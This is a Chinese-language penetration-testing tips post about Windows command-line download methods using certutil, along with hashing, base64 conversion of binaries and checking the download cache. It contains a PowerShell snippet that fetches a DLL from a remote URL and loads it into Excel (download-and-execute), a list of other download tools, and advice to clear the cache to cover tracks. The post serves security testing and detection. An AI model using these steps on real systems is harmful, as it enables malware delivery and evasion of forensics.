zoukankan      html  css  js  c++  java
  • [渗透技巧] Windows命令行下载

     

     

    certutil简介

    用于证书管理

    支持环境: XP  -  Windows 10 全系统

    更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspx

    downloader

    (1) 保存在当前路径,文件名称同URL

    eg:

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

    (2) 保存在当前路径,指定保存文件名称

    eg:

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt

    (3) 保存在缓存目录,名称随机

    缓存目录位置: %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

    eg:

    certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt

    (4) 支持保存二进制文件

    eg:

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll

    注:

    使用downloader默认在缓存目录位置: %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent保存下载的文件副本

    清除下载文件副本方法:

    方法1: 直接删除缓存目录对应文件

    如下图

    方法2: 命令行:

    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete

    补充:

    查看缓存项目:

    certutil.exe -urlcache *

    如下图

    实际测试:

    测试系统安装Office软件,下载执行dll对应的powershell代码如下:

    $path="c:	estmsg1.dll"
    certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path
    $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
    $excel.RegisterXLL($path) 
    

     测试如下:

    2、计算文件hash

    (1) SHA1

    certutil.exe -hashfile msg.dll

    (2) SHA256:

    certutil.exe -hashfile msg.dll SHA256

    (3) MD5:

    certutil.exe -hashfile msg.dll MD5

    3、base64编码转换

    (1) base64编码:

    CertUtil -encode InFile OutFile

    (2) base64解码

    CertUtil -decode InFile OutFile

    注:

    编码后的文件会添加两处标识信息:

    文件头:

    -----BEGIN CERTIFICATE-----

    文件尾:

    -----END CERTIFICATE-----

    如下图

     downloader常用方法

    利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

    %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

    downloader常用方法如下:

    • certUtil
    • powershell
    • csc
    • vbs
    • JScript
    • hta
    • bitsadmin
    • wget
    • debug
    • ftp
    • ftfp

    base64编码转换常用方法

    在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

    所以在此整理一下常用不同开发工具对应的base64编码转换方式

    powershell

    base64编码:

    $PEBytes = [System.IO.File]::ReadAllBytes("C:windowssystem32calc.exe")
    $Base64Payload = [System.Convert]::ToBase64String($PEBytes)
    Set-Content base64.txt -Value $Base64Payload 
    

    base64解码:

    $Base64Bytes = Get-Content ("base64.txt")
    $PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
    [System.IO.File]::WriteAllBytes("calc.exe",$PEBytes) 
    

    C SHARP(c#)

    base64编码:

    using System.IO;
    
    byte[] AsBytes = File.ReadAllBytes(@"C:windowssystem32calc.exe");
    String AsBase64String = Convert.ToBase64String(AsBytes);
    StreamWriter sw = new StreamWriter(@"C:	estase64.txt");
    sw.Write(AsBase64String);
    sw.Close(); 
    

    base64解码:

    using System.IO;
    
    String AsString = File.ReadAllText(@"C:	estase64.txt");
    byte[] bytes = Convert.FromBase64String(AsString);          
    FileStream fs = new FileStream(@"C:	estcalc.exe", FileMode.Create);
    fs.Write(bytes, 0, bytes.Length);
    fs.Flush();
    fs.Close(); 

    js

     base64解码:

    fso1=new ActiveXObject("Scripting.FileSystemObject");
    f=fso1.OpenTextFile("C:\test\base64.txt",1);
    base64string=f.ReadAll();
    f.Close();
    enc = new ActiveXObject("System.Text.ASCIIEncoding");
    length = enc.GetByteCount_2(base64string);
    ba = enc.GetBytes_4(base64string);
    transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
    ba = transform.TransformFinalBlock(ba, 0, length);
    s=new ActiveXObject("ADODB.Stream");
    s.Type=1;
    s.Open();
    s.Write(ba);	
    s.SaveToFile("C:\test\calc.exe",2); 
    

    certutil

    base64编码:

    CertUtil -encode InFile OutFile 
    

    base64解码:

    CertUtil -decode InFile OutFile 
    

    注:

    编码后的文件会添加两处标识信息:

    文件头:

    —–BEGIN CERTIFICATE—–

    文件尾:

    —–END CERTIFICATE—–

    检测downloader

    查看利用certUtil下载文件的缓存记录:

    certutil.exe -urlcache *

    缓存文件位置:

    %USERPROFILE%AppDataLocalLowMicrosoftCryptnetUrlCacheContent

  • 相关阅读:
    用户使用调查报告
    Beta总结
    Beta冲刺Day7
    Beta冲刺Day6
    Beta冲刺Day5
    Beta冲刺Day4
    Beta冲刺Day3
    Beta冲刺Day2
    Beta冲刺Day1
    Beta预备
  • 原文地址:https://www.cnblogs.com/lfoder/p/8241548.html
Copyright © 2011-2022 走看看